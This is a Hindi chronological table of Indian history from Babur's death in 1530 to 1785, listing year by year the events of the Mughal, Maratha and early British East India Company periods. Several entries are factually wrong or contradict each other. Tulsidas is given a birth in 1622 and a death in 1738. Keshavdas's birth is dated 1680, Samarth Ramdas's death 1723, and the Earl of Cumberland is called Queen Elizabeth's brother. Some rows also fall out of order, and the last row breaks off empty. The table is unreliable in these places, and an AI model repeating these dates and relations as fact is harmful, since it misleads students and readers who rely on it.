बाबर की मृत्यु (29 मई), विजयनगर के राजा कृष्णदेव राय की मृत्यु (26 दिसम्बर)।
|
195
|
1531 ई.
|
गुजरात के बहादुरशाह का मालवा तथा उज्जैन पर अधिकार।
|
196
|
1532 ई.
|
रायसेन, चंदेरी एवं मंदसौर पर बहादुरशाह का अधिकार तथा चित्तौड़ पर पहला हमला।
|
197
|
1533 ई.
|
बहादुरशाह ने चित्तौड़ का घेरा उठाया, रणथम्भौर तथा अजमेर पर अधिकार, वैष्णव संत चैतन्य का निधन।
|
198
|
1534 ई.
|
हुमायूँ का मालवा को प्रस्थान, शेरशाह ने सूरजगढ़ की लड़ाई में बंगाल के शासक महमूद ख़ाँ को परास्त किया।
|
199
|
1535 ई.
|
पुर्तग़ालियों की सहायता से बहादुरशाह का चित्तौड़ पर अधिकार, हुमायूँ से बहादुरशाह पराजित, हुमायूँ की गुजरात तथा मालवा पर विजय।
|
200
|
1536 ई.
|
हुमायूँ ने अस्करी को गुजरात का शासक नियुक्त किया, गुजरात में मुग़लों के विरुद्ध विद्रोह।
|
201
|
1537 ई.
|
गुजरात के शासक बहादुरशाह की मृत्यु।
|
202
|
1538 ई.
|
शेरशाह के हाथों बंगाल का शासक महमूदशाह परास्त, हुमायूँ का बंगाल पर आक्रमण, सिक्ख गुरु नानक देव का निधन।
|
203
|
1539 ई.
|
चौसा के युद्ध में हुमायूँ शेरशाह से पराजित।
|
204
|
1540 ई.
|
शेरशाह दिल्ली की गद्दी पर बैठा।
|
205
|
1542 ई.
|
मारवाड़ के राजा मालदेव के आमंत्रण पर हुमायूँ जोधपुर पहुँचा, अमरकोट में (15 अक्टूबर) अकबर का जन्म।
|
206
|
1544 ई.
|
हुमायूँ फ़ारस के तहमस्प शाह की शरण में पहुँचा।
|
207
|
1545 ई.
|
शाह तहमस्प की मदद से कंधार-काबुल पर पुनः हुमायूँ का अधिकार, शेरशाह की मृत्यु, इस्लामशाह गद्दी पर बैठा।
|
208
|
1553 ई.
|
सूर वंशी शासक इस्लामशाह की मृत्यु।
|
209
|
1555 ई.
|
लाहौर पर हुमायूँ का अधिकार।
|
210
|
1556 ई.
|
हुमायूँ की मृत्यु (24 जनवरी), बैरम ख़ाँ के संरक्षण में अकबर मुग़ल सम्राट बना, पानीपत के दूसरे युद्ध (5 नवम्बर) में अकबर के द्वारा आदिलशाह का दीवान हेमू पराजित, पुर्तग़ाल से पहला प्रेस भारत पहुँचा, जिसे जेसुइट पादरी गोवा लेकर आए थे।
|
211
|
1557 ई.
|
ख़िज़्र ख़ाँ के साथ लड़ाई में आदिलशाह मारा गया, सिकन्दर सूर को हराकर मानकोट के क़िले पर अकबर का अधिकार।
|
212
|
1560 ई.
|
अकबर के द्वारा बैरम ख़ाँ का निष्कासन।
|
213
|
1561 ई.
|
अकबर की मालवा पर विजय।
|
214
|
1562 ई.
|
आमेर की राजकुमारी (राजा भारमल की पुत्री) से अकबर का विवाह, युद्ध-बंन्दियों को दास बनाने की प्रथा का उन्मूलन।
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215
|
1563 ई.
|
अकबर द्वारा तीर्थयात्रा-कर की समाप्ति।
|
216
|
1564 ई.
|
अकबर द्वारा जज़िया कर की उगाही बन्द, रानी दुर्गावती को परास्त कर गोंडवाना मुग़ल राज्य में सम्मिलित, रानी द्वारा आत्महत्या।
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217
|
1564–1567 ई.
|
उजबेकों का विद्रोह।
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218
|
1565 ई.
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विजयनगर के शासक रामराय और बहमनी सुल्तानों के बीच तालीकोट का युद्ध, विजयनगर पराजित।
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219
|
1567 ई.
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राधावल्लभ सम्प्रदाय के प्रवर्तक श्री हरिवंश का देवबन्द (सहारनपुर) में जन्म।
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220
|
1568 ई.
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अकबर की चित्तौड़ पर विजय।
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221
|
1569
|
रणथम्भौर और कालिंजर पर अकबर का अधिकार, युवराज सलीम (जहाँगीर) का जन्म।
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222
|
1571 ई.
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अकबर द्वारा फ़तेहपुर सीकरी का निर्माण तथा राजधानी बनाने का निर्णय।
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223
|
1572 ई.
|
राणा उदयसिंह की मृत्यु, जालौर के राजा और मेवाड़ सेनापतियों के द्वारा राणा प्रताप को गद्दी पर बैठाया गया।
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224
|
1573 ई.
|
कबीर का निधन, गुजरात पर अकबर का आधिपत्य।
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225
|
1574–76 ई.
|
अकबर की बिहार-बंगाल पर विजय।
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226
|
1575 ई.
|
ठुकरोई (उड़ीसा) का युद्ध, अकबर द्वारा दाऊद ख़ाँ पराजित फ़तेहपुर सीकरी में इबादतख़ाना की स्थापना।
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227
|
1576 ई.
|
हल्दीघाटी का युद्ध, अकबर द्वारा राणा प्रताप पराजित, अकबर का बंगाल पर अधिकार, दाऊद ख़ाँ की मृत्यु।
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228
|
1578 ई.
|
भारतीय भाषा की पहली पुस्तक "डुट्रिना क्रिस्टा' (तमिल भाषा में) मुद्रित व प्रकाशित, इस पुस्तक के लिए टाइप जुआबों गुंजाल्बेज नाम के स्पेनी लुहार ने क्किलोन (केरल) में ढाले थे। (दक्षिण भारत)
|
229
|
1579–1580 ई.
|
अकबर ने 'महजरनामा' (इन्फैलिबिलिटी डिक्री) जारी किया, बंगाल-बिहार में विद्रोह, अकबर के दरबार में गोवा से प्रथम जेसुइट मिशन आया (1580)।
|
230
|
1580–1611 ई.
|
गोलकुण्डा में सुल्तान कुली कुतुबशाह द्वितीय के आश्रय में 'रेख्ता' (हिन्दुस्तानी के आदि रूप) के कवियों को प्रोत्साहन।
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231
|
1611–1656
|
आदिलशाह बीजापुर की गद्दी पर आसीन।
|
232
|
1582 ई.
|
अकबर के द्वारा दीन-ए-इलाही की घोषणा।
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233
|
1583 ई.
|
पहले पाँच अंग्रेज़ व्यापारी (जॉन न्यूबरी, रिचर्ड स्टेपर, राल्फ़, जेम्स स्टोरी तथा विलियम लीड्स) अकबर के नाम महारानी एलिजाबेथ का पत्र लेकर भारत पहुँचे, अकबर से इनकी मुलाक़ात नहीं हो पाई, लेकिन लीड्स को अकबर के यहाँ झवेरी की नौकरी मिल गई, फिंच आठ साल तक भारत-बर्मा की यात्रा करने के बाद 26 अप्रैल, 1591 को लन्दन पहुँचा, फिंच के विवरण से ही अंग्रेज़ व्यापारियों की भारत से व्यापार करने की लालसा बलवती हुई।
|
234
|
1585 ई.
|
कश्मीर पर अकबर का आधिपत्य।
|
235
|
1589 ई.
|
राजा टोडरमल की मृत्यु।
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236
|
1590–1592 ई.
|
अकबर की सिंध पर विजय।
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237
|
1591 ई.
|
फ़ैज़ी को मुग़ल राजदूत बनाकर दक्कन के राज्यों में भेजा गया।
|
238
|
1592 ई.
|
उड़ीसा पर अकबर का अधिकार।
|
239
|
1595 ई.
|
अकबर की कंधार विजय, बलूचिस्तान मुग़ल साम्राज्य में सम्मिलित।
|
240
|
1597 ई.
|
राणा प्रताप की मृत्यु।
|
241
|
1600 ई.
|
अहमदनगर का पतन, लन्दन में महारानी एलिजाबेथ द्वारा अपने भाई जार्ज, अर्ल ऑफ़ कम्बरलैंड तथा सर जॉन हॉर्ट की ईस्ट इंडिया कम्पनी (द गवर्नर एंड कम्पनी ऑफ़ लन्दन ट्रेडिंग इन टु द ईस्ट इंडीज) को भारत से व्यापार करने के लिए अधिकार पत्र प्रदान किया गया।
|
242
|
1601 ई.
|
अकबर का असीरगढ़ पर अधिकार।
|
243
|
1602 ई.
|
अबुल फ़जल की मृत्यु, डच यूनिवर्सल यूनाइटेड ईस्ट इंडिया कम्पनी की स्थापना, 13 वर्षों में ही हालैण्ड के एशिया व्यापार में असाधारण वृद्धि।
|
244
|
1601–1603 ई.
|
अकबर के पुत्र सलीम का विद्रोह।
|
245
|
1605 ई.
|
अकबर की मृत्यु (16 अक्टूबर), जहाँगीर गद्दी पर बैठा (24 अक्टूबर)।
|
246
|
1606 ई.
|
शहजादा ख़ुसरो का विद्रोह, जहाँगीर के आदेशानुसार पाँचवें सिक्ख गुरु अर्जुन देव को प्राणदण्ड, ईरानियों द्वारा कंधार का घेराव, जहाँगीर की मेवाड़ पर चढ़ाई।
|
247
|
1607 ई.
|
मुग़लों के द्वारा कंधार मुक्त।
|
248
|
1608 ई.
|
अहमद नगर पर मलिक अम्बर का पुनः अधिकार, इंग्लैण्ड के राजा जेम्स प्रथम का पत्र लेकर विलियम हाकिंस जहाँगीर के दरबार में भारत आया तथा तीन साल तक उसके दरबार में रहा, 1612 में वापस इंग्लैण्ड लौटकर भारत यात्रा का विवरण लिखा, संत तुकाराम का जन्म।
|
249
|
1609 ई.
|
पुलिकट में डच फैक्टरी स्थापित।
|
250
|
1611 ई.
|
मसुलीपटटम में अंग्रेज़ फैक्टरी स्थापित, जहाँगीर का नूरजहाँ से विवाह।
|
251
|
1611-1625 ई.
|
गोलकुण्डा में सुल्तान मुहम्मद कुतुबशाह का शासनकाल।
|
252
|
1612 ई.
|
शाहजादा ख़ुर्रम (शाहजहाँ) का मुमताज़ महल से विवाह, बंगाल की राजधानी राजमहल से ढाका स्थानान्तरित।
|
253
|
1614 ई.
|
मेवाड़ के राणा अमर सिंह से जहाँगीर की संधि।
|
254
|
1615 ई.
|
मेवाड़ पर जहाँगीर का अधिकार, इंग्लैण्ड के शासक जेम्स प्रथम के राजदूत के रूप में सर टामस रो जहाँगीर के दरबार में आया।
|
255
|
1620 ई.
|
कांगड़ा पर मुग़लों का अधिकार।
|
256
|
1622 ई.
|
कंधार पर फ़ारस का पुनः अधिकार, शाहजहाँ का विद्रोह, गोस्वामी तुलसीदास का जन्म।
|
257
|
1625-1674 ई.
|
गोलकुण्डा की गद्दी पर सुल्तान अब्दुल्ला कुत्बशाह बैठा।
|
258
|
1624 ई.
|
अहमदनगर के मलिक अम्बर के हाथों मुग़ल सेना पराजित।
|
259
|
1626 ई.
|
महावत ख़ाँ का विद्रोह।
|
260
|
1627 ई.
|
जहाँगीर की मृत्यु (29 अक्टूबर), जुन्नार (पूना) के निकट शिवनेरी के क़िले में शिवाजी का जन्म (20 अप्रैल)।
|
261
|
1628 ई.
|
शाहजहाँ मुग़ल सम्राट बना (6 फ़रवरी)।
|
262
|
1631 ई.
|
मुमताज़ महल की मृत्यु (7 जून)।
|
263
|
1632 ई.
|
बीजापुर पर मुग़ल आक्रमण, पुर्तग़ालियों के विरुद्ध सैन्य अभियन, हुगली में उनकी बस्ती नष्ट।
|
264
|
1633 ई.
|
अहमदनगर के निज़ामशाही वंश का अन्त, अहमदनगर मुग़ल साम्राज्य में सम्मिलित, दौलताबाद के क़िले पर अधिकार।
|
265
|
1634 ई.
|
अंग्रेज़ों को बंगाल में व्यापार करने का फ़रमान मिला, महावत ख़ाँ की मृत्यु।
|
266
|
1636 ई.
|
बीजापुर और गोलकुण्डा से मुग़लों की संधि, औरंगज़ेब दक्कन का सूबेदार नियुक्त।
|
267
|
1638 ई.
|
अली मर्दान द्वारा कंधार मुग़लों को समर्पित।
|
268
|
1638 ई.
|
शाहजहाँ द्वारा नए राजधानी शहर शाहजहाँनाबाद का निर्माण प्रारम्भ।
|
269
|
1639 ई.
|
अंग्रेज़ों द्वारा मद्रास में सेंट जॉर्ज फ़ोर्ट की आधारशिला रखी गई। (दक्षिण भारत)
|
270
|
1646 ई.
|
बल्ख पर मुग़लों का अधिकार, तोरण पर शिवाजी का अधिकार।
|
271
|
1649 ई.
|
कंधार पर पर पुनः फ़ारस का अधिकार।
|
272
|
1650 ई.
|
मराठी संत तुकाराम का निधन।
|
273
|
1656 ई.
|
शिवाजी का जावली पर आधिपत्य।
|
274
|
1657 ई.
|
बीदर का पतन और मुग़लों द्वारा बीजापुर की घेराबन्दी, शाहजहाँ के अस्वस्थ होने पर 'उत्तराधिकारी का युद्ध' प्रारम्भ, बीजापुर के साथ द्वितीय सन्धि।
|
275
|
1658 ई.
|
धरमत के युद्ध (5 मई) तथा सामूगढ़ के युद्ध (8 जून) में दारा की औरंगज़ेब के हाथों पराजय, शाहजहाँ आगरा में बन्दी (5 जून), औरंगज़ेब का राज्याभिषेक (31 जुलाई)।
|
276
|
1659 ई.
|
दारा को मृत्युदण्ड, शिवाजी के हाथों अफ़ज़ल ख़ाँ की मृत्यु।
|
277
|
1660 ई.
|
मीर जुमला बंगाल का सूबेदार नियुक्त, शिवाजी के द्वारा दक्षिण कर्नाटक क्षेत्र में चारों ओर हमले।
|
278
|
1661 ई.
|
मुराद की हत्या, पुर्तग़ालियों द्वारा इस शर्त पर बम्बई अंग्रेज़ों को हस्तांतरित की गयी कि वे डचों को इस क्षेत्र में व्यापार से बाहर खदेड़ने में इनका साथ देंगे।
|
279
|
1662 ई.
|
मीर जुमला का असम अभियान।
|
280
|
1663 ई.
|
मीर जुमला की मृत्यु, शाइस्ता ख़ाँ बंगाल का सूबेदार नियुक्त।
|
281
|
1664 ई.
|
शिवाजी का सूरत पर आक्रमण, स्थानीय पुर्तग़ाली उपनिवेश द्वारा शिवाजी को वार्षिक नज़राना देना स्वीकार, फ़्राँसीसी ईस्ट इंडिया कम्पनी की स्थापना।
|
282
|
1665 ई.
|
राजा जयसिंह के हाथों शिवाजी की पराजय, मुग़लों के साथ शिवाजी की पुरन्दर सन्धि।
|
283
|
1666 ई.
|
शाहजहाँ की मृत्यु, मुग़ल दरबार में शिवाजी बन्दी (मई), नज़रबन्दी से मुक्त।
|
284
|
1668 ई.
|
औरंगज़ेब द्वारा हिन्दुओं के विरुद्ध नये आदेश, ईस्ट इंडिया कम्पनी का पूर्ण अधिकार।
|
285
|
1669 ई.
|
मथुरा में जाट सरदार गोकुल सिंह का विद्रोह, बम्बई पर अंग्रेज़ कम्पनी का पूर्ण अधिकार।
|
286
|
1670 ई.
|
शिवाजी का सूरत पर दूसरा आक्रमण।
|
287
|
1671 ई.
|
छत्रसाल के नेतृत्व में बुंदेलों का विद्रोह।
|
288
|
1672 ई.
|
अफ्रीदी तथा सतनामी विद्रोह, दम लौहेम के नेतृत्व में फ़्राँसीसियों ने श्रीलंका में त्रिंकोमाली तथा चेन्नई के निकट सेंट टोम पर अधिकार, कुछ समय के पश्चात् डचों ने फ़्राँसीसियों से दोनों स्थानों को छीन लिया।
|
289
|
1673 ई.
|
शिवाजी का सूरत पर तीसरा आक्रमण, हिन्दी कवि धनानंद का जन्म।
|
290
|
1674 ई.
|
फ़्राँसीसी कप्तान फ़्राँसिस मार्टिन के द्वारा पांण्डिचेरी की स्थापना, शिवाजी द्वारा राज्याभिषेक (रायगढ़ में) तथा 'छत्रपति' की उपाधि धारण, 'स्वराज' की स्थापना।
|
291
|
1675 ई.
|
सिक्ख गुरु तेगबहादुर सिंह को औरंगज़ेब द्वारा मृत्युदण्ड।
|
292
|
1677 ई.
|
कर्नाटक में शिवाजी की विजय।
|
293
|
1679 ई.
|
औरंगज़ेब द्वारा जज़िया कर पुनः आरोपित, मारवाड़ अभियान।
|
294
|
1680 ई.
|
शिवाजी की मृत्यु, शंभाजी पेशवा बना, अलंकारवादी हिन्दी कवि केशवदास का जन्म।
|
295
|
1681 ई.
|
असम पुनः स्वतंत्र, औरंगज़ेब का दक्षिण में अभियान।
|
296
|
1685 ई.
|
अंग्रेज़ ईस्ट इंडिया कम्पनी का मुख्य व्यापार कार्यालय सूरत से बम्बई स्थानान्तरित।
|
297
|
1686 ई.
|
औरंगज़ेब का बीजापुर पर अधिकार।
|
298
|
1687 ई.
|
गोलकुण्डा मुग़ल साम्राज्य में सम्मिलित, अंग्रेज़ कम्पनी द्वारा औरंगज़ेब के विरुद्ध युद्ध की घोषणा।
|
299
|
1689 ई.
|
औरंगज़ेब द्वारा शंभाजी को प्राणदण्ड, राजाराम सत्तारूढ़, शाहू बन्दी बना।
|
300
|
1699 ई.
|
मालवा पर मराठों का प्रथम आक्रमण।
|
301
|
1700 ई.
|
शंभाजी के छोटे भाई राजाराम की मृत्यु, ताराबाई के संरक्षण में शिवाजी तृतीय (राजाराम का पुत्र) गद्दी पर बैठा।
|
302
|
1702 ई.
|
इंग्लैंण्ड में रानी ऐन गद्दी पर बैठीं, गोडोल्फिन के हस्तक्षेप से पुरानी और नयी कम्पनियों को एकीकरण कर नयी ईस्ट इंडिया कम्पनी का उदय।
|
303
|
1703 ई.
|
मराठों का बरार पर आक्रमण।
|
304
|
1706 ई.
|
मराठों का गुजरात पर आक्रमण, बड़ौदा ध्वस्त।
|
305
|
1707 ई.
|
औरंगज़ेब की मृत्यु, बहादुरशाह प्रथम (राजकुमार मुहम्मद मुअज्जम) मुग़ल सम्राट बना, शाहू मुक्त, ताराबाई तथा शाहू समर्थकों के मध्य खेड़ा का युद्ध, मराठा राज्य दो भागों में विभक्त, सतारा में शाहू का राज्य तथा कोल्हापुर में ताराबाई (या शिवाजी तृतीय) का राज्य, पेशवा बालाजी विश्वनाथ, शाहू के साथ।
|
306
|
1708 ई.
|
शाहू का राज्याभिषेक छत्रपति के रूप में, बालाजी विश्वनाथ को 'सेनाकर्ते' की उपाधि, सिक्खों के अन्तिम गुरु गोविंद सिंह का निधन (नादेड़ में)।
|
307
|
1712 ई.
|
बहादुरशाह प्रथम की मृत्यु, जहाँदारशाह उत्तराधिकारी बना।
|
308
|
1713 ई.
|
जहाँदारशाह की हत्या, बंधुओं की मदद से फ़र्रुख़सियर सिंहासनारूढ़।
|
309
|
1714 ई.
|
बालाजी विश्वनाथ की 'पेशवा' के पद पर पदोन्नति, हुसैन अली दक्षिण का सूबेदार, हुसैन अली की मराठों से सन्धि।
|
310
|
1715 ई.
|
सिक्ख नेता बन्दा बहादुर को प्राणदण्ड।
|
311
|
1717 ई.
|
ईस्ट इंडिया कम्पनी को बादशाह फ़र्रुख़सियर का स्वतंत्र व्यापार (ड्यूटी-फ़्री) फ़रमान, कलकत्ता के निकट 37 गावों को ख़रीदने का अधिकार भी मिला।
|
312
|
1719 ई.
|
फ़र्रुख़सियर की हत्या, मुहम्मदशाह रौशन अख़्तर गद्दी पर आसीन (दो अल्पकालिक शासकों रफ़ी-उद-दौला तथा रफ़ी-उद-दरजात की मृत्यु के उपरान्त), मुग़ल सम्राट द्वारा सनद प्रदान कर चौथ तथा सदरेशमुखी वसूलने का अधिकार तथा दक्कन के 6 सूबों को स्वराज्य प्रदान किया गया।
|
313
|
1720 ई.
|
बाजीराव प्रथम पेशवा बने, सैय्यद बन्धुओं का अन्त, मराठों का उत्तरी अभियान प्रारम्भ।
|
314
|
1723 ई.
|
शिवाजी के गुरु समर्थ रामदास की मृत्यु, पेशवा का मालवा पर आक्रमण।
|
315
|
1724 ई.
|
सआदत ख़ाँ अवध का सूबेदार नियुक्त, दक्षिण में निज़ाम स्वतंत्र।
|
316
|
1725 ई.
|
शुजाउद्दीन बंगाल का सूबेदार।
|
317
|
1731 ई.
|
गॉटनबर्ग में सम्राट फ़्रेडरिक द्वारा 'स्वीडिश ईस्ट इंडिया' का गठन।
|
318
|
1735 ई.
|
मुग़ल बादशाह द्वारा पेशवा बाजीराव प्रथम को मालवा के शासक के रूप में स्वीकृति।
|
319
|
1738 ई.
|
गोस्वामी तुलसीदास (रामचरितमानस क रचयिता) का निधन।
|
320
|
1739–40 ई.
|
दिल्ली पर नादिरशाह का आक्रमण, कोहिनूर हीरा एवं तख़्त-ए-ताऊस नादिरशाह के क़ब्ज़े में, खुरासान में नादिरशाह की उसके ही सेनापतियों के द्वारा हत्या।
|
321
|
1740 ई.
|
सरफ़राज ख़ाँ की हत्या कर अलीवर्दी ख़ाँ बंगाल का नवाब बना, बालाजी बाजीराव पेशवा बने, अरकाट पर मराठों का आक्रमण।
|
322
|
1742 ई.
|
बंगाल पर मराठों का आक्रमण, डूप्ले पांण्डिचेरी का गवर्नर नियुक्त।
|
323
|
1744 ई.
|
यूरोप में फ्राँस तथा इंग्लैण्ड के बीच युद्ध आरम्भ, दोनों के विभिन्न उपनिवेशों में तनाव तथा संघर्ष।
|
324
|
1746–48 ई.
|
प्रथम कर्नाटक (आंग्ल-फ़्राँसीसी) युद्ध।
|
325
|
1745 ई.
|
रूहेलखण्ड रुहिल्लों के अधिकार में।
|
326
|
1746 ई.
|
ला बोर्दने के नेतृत्व में फ़्राँसीसियों का चेन्नई पर अधिकार।
|
327
|
1747 ई.
|
अहमदशाह अब्दाली का भारत पर आक्रमण।
|
328
|
1748 ई.
|
हैदराबाद के निज़ाम आसफ़जाह की मृत्यु, पुत्र नासिर जंग तथा मुजफ़्फ़र जंग में सत्ता के लिए संघर्ष, संघर्ष के कारण निज़ाम का प्रभाव क्षीण तथा गद्दी के लिए कर्नाटक के नवाब चंदा साहब तथा नवाब अनवरुद्दीन के बीच संघर्ष।
|
329
|
1748–51 ई.
|
अहमदशाह अब्दाली का अफ़ग़ानिस्तान और पंजाब पर अधिकार, मुहम्मदशाह की मृत्यु के पश्चात् अहमदशाह मुग़ल बादशाह बना (1748)।
|
330
|
1749 ई.
|
यूरोप में ब्रिटिश और फ़्राँसीसियों के बीच 'एक्स-ला-शापेल' की सन्धि, भारत में अंग्रेज़ी और फ़्राँसीसी कम्पनियों में भी युद्ध विराम, फ़्राँसीसियों द्वारा चेन्नई अंग्रेज़ों को वापस, शाहू की मृत्यु तथा रामराज का छत्रपति के रूप में राज्याभिषेक।
|
331
|
1750–1754 ई.
|
द्वितीय कर्नाटक युद्ध, डूप्ले की सहायता से चंदा साहब की अनवरुद्दीन पर विजय, हैदराबाद की निज़ामत मुजफ़्फ़र जंग को दिलाने के लिए चंदा साहब तथा डुप्ले का नासिर जंग पर सम्मिलित हमला, नासिर जंग को 600 सैनिकों की सहायता, कर्नाटक की गद्दी के लिए मुहम्मद अली को भी अंग्रेज़ी मदद।
|
332
|
1751 ई.
|
अर्काट के क़िले पर राबर्ट क्लाइब का अधिकार, जिससे फ़्राँसीसी त्रिचनापल्ली से हटे, मुजफ़्फ़र जंग की मृत्यु, सलावत जंग निज़ाम बना, अलीवर्दी ख़ाँ की मराठों से सन्धि।
|
333
|
1754 ई.
|
डूप्ले फ़्राँस वापस, गोडेहू नया फ़्राँसीसी डायरेक्टर जनरल, गोडेहू तथा अंग्रेज़ गवर्नर सांडर्स के बीच सन्धि, दोनों का भारतीय रियासतों के आन्तरिक मामलों में हस्तक्षेप न करने का निर्णय, फ़्राँसीसियों द्वारा अंग्रेज़ समर्थित मुहम्मद अली कर्नाटक का नवाब स्वीकृत, आलमगीर द्वितीय मुग़ल बादशाह बना।
|
334
|
1756 ई.
|
अलीवर्दी ख़ाँ की मृत्यु, सिराजुद्दौला बंगाल की गद्दी पर आसीन तथा कलकत्ता पर अधिकार, तीसरा कर्नाटक युद्ध।
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335
|
1757 ई.
|
प्लासी के युद्ध (23 जून) में अंग्रेज़ों द्वारा सिराजुद्दौला पराजित, मीर ज़ाफ़र नवाब बनाया गया (28 जून), अंग्रेज़ों का कलकत्ता पर पुनः अधिकार, सिराजुद्दौला को मृत्युदण्ड (2 जुलाई), अंग्रेज़ों का राजनीतिक प्रभुत्व स्थापित।
|
336
|
1758 ई.
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फ़्राँसीसी गवर्नर लाली का भारत आगमन, अंग्रेज़ों के विरुद्ध अभियान आरम्भ, फोर्ट सेंट डेविड पर क़ब्ज़ा, पंजाब पर मराठों का अधिकार।
|
337
|
1759
|
बंगाल में अंग्रेज़ों द्वारा डच पराजित, बीदर का युद्ध, ग़ाजीउद्दीन द्वारा आलमगीर द्वितीय की हत्या, शाहआलम द्वितीय बादशाह बना (1759-1806)।
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338
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1760 ई.
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वांडीवास के युद्ध में अंग्रेज़ों के हाथों फ़्राँसीसी पराजित, रोबर्ट क्लाइब इंग्लैण्ड वापस, मीर क़ासिम बंगाल का नवाब बना।
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339
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1761 ई.
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अहमदशाह अब्दाली तथा मराठों के बीच पानीपत का तीसरा युद्ध (14 जनवरी), मराठे पराजित, फ़्राँसीसियों द्वारा पांण्डिचेरी अंग्रेज़ों को समर्पित, पेशवा बाजीराव का निधन, माधवराव सिंहासनारूढ़, हैदर अली मैसूर का नवाब, अवध का नवाब शुजाउद्दौला वज़ीर बना।
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340
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1762 ई.
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माधवराव के सिंहासनारूढ़ होने के उपरान्त रघुनाथराव द्वारा निज़ाम से मदद की माँग।
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341
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1763 ई.
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अंग्रेज़ों द्वारा पांण्डिचेरी फ़्राँसीसियों को वापस, बंगाल एवं बिहार पर मीर क़ासिम का अधिकार समाप्त, मीर क़ासिम निष्कासित, मीर ज़ाफ़र पुनः नबाब बना, रघुनाथराव का सत्ता पर क़ब्ज़ा, माधवराव बन्दी।
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342
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1764 ई.
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बक्सर का युद्ध, शाहआलम, शुजाउद्दौला तथा मीर क़ासिम की संयुक्त सेनायें अंग्रेज़ों से पराजित।
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343
|
1765 ई.
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रोबर्ट क्लाइब द्वारा दूसरी बार पुनः बंगाल का गवर्नर बनकर वापस आया, शुजाउद्दौला, शाहआलम तथा ईस्ट इंडिया कम्पनी के मध्य इलाहाबाद की सन्धि, शाहआलम ने बिहार, बंगाल तथा उड़ीसा की दीवानी ईस्ट इंडिया कम्पनी को सौंपी, मीर ज़ाफ़र की मृत्यु।
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344
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1766 ई.
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निज़ाम ने उत्तरी सरकार क्षेत्र अंग्रेज़ों को दिया।
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345
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1767 ई.
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रोबर्ट क्लाइब इंग्लैण्ड वापस, वेरेलस्ट बंगाल का गवर्नर बना।
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346
|
1767–69 ई.
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प्रथम मैसूर युद्ध, अंग्रेज़ों ने अपमानजनक शर्तों पर हैदर अली से सन्धि की, हैदर अली का चेन्नई अभियान।
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347
|
1769 ई.
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निज़ाम और मराठों के साथ अंग्रेज़ों की चेन्नई सन्धि।
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348
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1770 ई.
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बंगाल में भीषण दुर्भिक्ष, पेरिस में दिवालिया हो जाने के कारण फ़्राँसीसी ईस्ट इंडिया कम्पनी भंग।
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349
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1771 ई.
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मराठों का हैदर अली पर आक्रमण, दिल्ली पर मराठों का क़ब्ज़ा, शाहआलम को अंग्रेज़ों के बन्धन से मुक्ति।
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350
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1772 ई.
|
वारेन हेस्टिंग्स बंगाल का गवर्नर् नियुक्त, मराठों का रुहेलखंड पर आक्रमण, भारतीय मामलों के लिए ब्रिटिश संसद की दो संसदीय समितियों का गठन, पेशवा माधवराव की मृत्यु, नारायणराव पेशवा बना, पर ही शीघ्र मृत्यु, अवध के नवाब और रुहिल्लों का मराठों के विरुद्ध समझौता, कम्पनी द्वारा द्वैध शासन के समाप्ति की तथा खुद दीवान का कार्य अपने हाथों में लेने की घोषणा।
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351
|
1772–1833 ई.
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राजा राममोहन राय का जीवनकाल।
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352
|
1773 ई.
|
ब्रिटिश संसद द्वारा रेग्युलेटिंग एक्ट पारित, कम्पनी पर संसद का आंशिक नियंत्रण, चेन्नई तथा बम्बई प्रेसीडेन्सियों पर कलकत्ता प्रेसीडेन्सी का आंशिक नियंत्रण, रघुनाथराव पेशवा बना, अंग्रेज़ों और अवध के नवाब के बीच रुहेलखण्ड पर संयुक्त रूप से चढ़ाई का समझौता।
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353
|
1774 ई.
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वारेन हेस्टिंग्स बंगाल का गवर्नर-जनरल बना, कलकत्ता में पहले उच्चतम न्यायालय की स्थापना, नारायणराव पेशवा बना।
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354
|
1775 ई.
|
ईस्ट इंडिया कम्पनी और अवध के वज़ीर आसफ़उद्दौला के बीच (एक-दूसरे के विरुद्ध कार्रवाई न करने की) मैत्री सन्धि, नवाब ने अंग्रेज़ों से सैन्य सहायता लेने के बदले 2,60,000 रुपये प्रतिमाह देना स्वीकार किया, नन्द कुमार पर मुक़दमा तथा मृत्युदण्ड (6 मई), रघुनाथराव तथा अंग्रेज़ों के बीच सूरत की सन्धि।
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355
|
1775–1782 ई.
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प्रथम आंग्ल मराठा युद्ध।
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356
|
1776 ई.
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अंग्रेज़ों (कर्नल आप्टन) तथा मराठों (रघुनाथराव के विरोधियों) के बीच पुरन्दर की सन्धि।
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357
|
1777 ई.
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सन 1857 के विद्रोही वीर कुँवर सिंह का जन्म।
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358
|
1778 ई.
|
यूरोप में अंग्रेज़-फ़्राँस युद्ध, भारत में फ़्राँसीसी उपनिवेशों पर अंग्रेज़ों का अधिकार।
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359
|
1779 ई.
|
मराठों तथा अंग्रेज़ों के बीच बड़गाँव समझौता मराठों ने 1773 में खोए हुए क्षेत्र पुनः प्राप्त किए, हैदर अली, हैदराबाद के निज़ाम तथा मराठों अंग्रेज़ों का विरोध करने को एकजुट।
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360
|
1780 ई.
|
कैप्टन पोफम के नेतृत्व में ईस्ट इंडिया कम्पनी का ग्वालियर पर अधिकार, द्वितीय मैसूर युद्ध प्रारम्भ, हैदर अली द्वारा कर्नाटक ध्वस्त, महाराजा रणजीत सिंह का जन्म, जेम्स हिक्की द्वारा 'बंगाल गजट' का प्रकाशन।
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361
|
1781 ई.
|
ईस्ट इंडिया कम्पनी ने बनारस के राजा चेतसिंह को गद्दी से हटाया, पोर्टोनोवा में हैदर अली पराजित, रेग्युलेटिंग एक्ट में संशोधन, वारेन हेस्टिंग्स द्वारा 'कलकत्ता मदरसा' की स्थापना, बंगाल में 'बोर्ड ऑफ़ रेवेन्यू' की स्थापना।
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362
|
1782 ई.
|
अंग्रेज़, मराठा और हैदर अली के बीच 'सालबाई की सन्धि' हैदर अली की मृत्यु, बंगाल की खाड़ी में अंग्रेज़ों तथा फ़्राँसीसियों के बीच नौसेनिक युद्ध, अंग्रेज़ों की मदद से आसफ़उद्दौला द्वारा अवध की बेगमों से धन उगाही।
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363
|
1782–99 ई.
|
टीपू सुल्तान मैसूर का शासक बना।
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364
|
1783 ई.
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फाक्स का इंडिया बिल ब्रिटिश संसद में अस्वीकृत।
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365
|
1784 ई.
|
टीपू सुल्तान के साथ 'मंगलौर की सन्धि', मैसूर युद्ध द्वितीय की समाप्ति, भारतीय मामलों के लिए 'बोर्ड ऑफ़ कन्ट्रोल' की स्थापना हेतु पिट का इंडिया एक्ट ब्रिटिश संसद में पारित, 'एसियाटिक सोसाइटी आफ़ बंगाल' की स्थापना।
|
366
|
1785 ई.
|
